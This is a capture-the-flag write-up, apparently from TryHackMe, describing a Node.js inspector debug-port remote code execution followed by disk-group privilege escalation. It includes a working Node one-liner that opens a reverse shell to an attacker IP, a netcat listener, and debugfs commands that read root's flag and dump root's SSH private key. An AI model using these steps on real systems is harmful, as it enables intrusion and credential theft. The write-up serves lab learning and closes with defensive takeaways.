Quartz 5

Node Inspector RCE + disk group PrivEsc

2 min read

Tags

thm privesc node-inspector disk-group debugfs

1. Initial Access — Node.js Inspector RCE (CVE-class: exposed debug port)

Vulnerability: Node process running with --inspect debug port open on 127.0.0.1:9229, no auth.

Exploit flow:

  1. Query the debug target list:
    GET http://127.0.0.1:9229/json → returns webSocketDebuggerUrl
  2. Open a WebSocket connection to that URL.
  3. Send a Runtime.evaluate CDP (Chrome DevTools Protocol) command — executes arbitrary JS in the Node process context.
  4. Payload spawns /bin/bash and pipes it through a raw TCP socket back to attacker (reverse shell).

Exploit script:

node -e '(async()=>{
  const t=await(await fetch("http://127.0.0.1:9229/json")).json();
  const ws=new WebSocket(t.find(x=>x.webSocketDebuggerUrl).webSocketDebuggerUrl);
  const expr="(function(){var n=process.mainModule.require(\"net\"),c=process.mainModule.require(\"child_process\"),s=c.spawn(\"/bin/bash\",[]),k=new n.Socket();k.connect(4445,\"<ATTACKER_IP>\",function(){k.pipe(s.stdin);s.stdout.pipe(k);s.stderr.pipe(k);});})()";
  ws.onopen=()=>ws.send(JSON.stringify({id:1,method:"Runtime.evaluate",params:{expression:expr}}));
  ws.onmessage=m=>console.log(m.data);
})();'

Listener (on attacker box, before running above):

nc -lvnp 4445

Result: shell as pipelinesvc

2. Privilege Escalation — disk group → raw block device access

Check groups:
```bash
id

uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)

```

Why it matters:
Members of the disk group can read/write raw block devices (e.g. /dev/sda, /dev/nvme0n1p1) directly, bypassing normal filesystem permission checks (which are only enforced on mounted-fs file access, not raw device access).

Identify root partition:
```bash
mount | grep -E “sda|/dev/”
df -h

/dev/root or /dev/nvme0n1p1 mounted on /

```

Check device perms:
```bash
ls -la /dev/nvme0n1p1

should show group disk with rw access

```

Exploit with debugfs (reads raw ext4 filesystem, ignores permissions):

debugfs /dev/nvme0n1p1
debugfs: cd /root
debugfs: ls
debugfs: cat root.txt

Bonus — extract root’s SSH key for a clean login:

```bash
debugfs: cd /root/.ssh
debugfs: ls
debugfs: dump id_rsa /tmp/id_rsa

Then on attacker box:

chmod 600 id_rsa
ssh -i id_rsa root@<target>

Key Takeaways

  • Node --inspect exposed = RCE. Never expose debug ports without auth/firewalling.
  • disk group membership = root-equivalent. Raw device access bypasses all file permissions.
  • debugfs is a great living-off-the-land tool for reading/extracting files from ext-family filesystems without mounting or root.
  • Alternative tools for same privesc: dd (image the disk), losetup + mount as loop device.

Graph View

Backlinks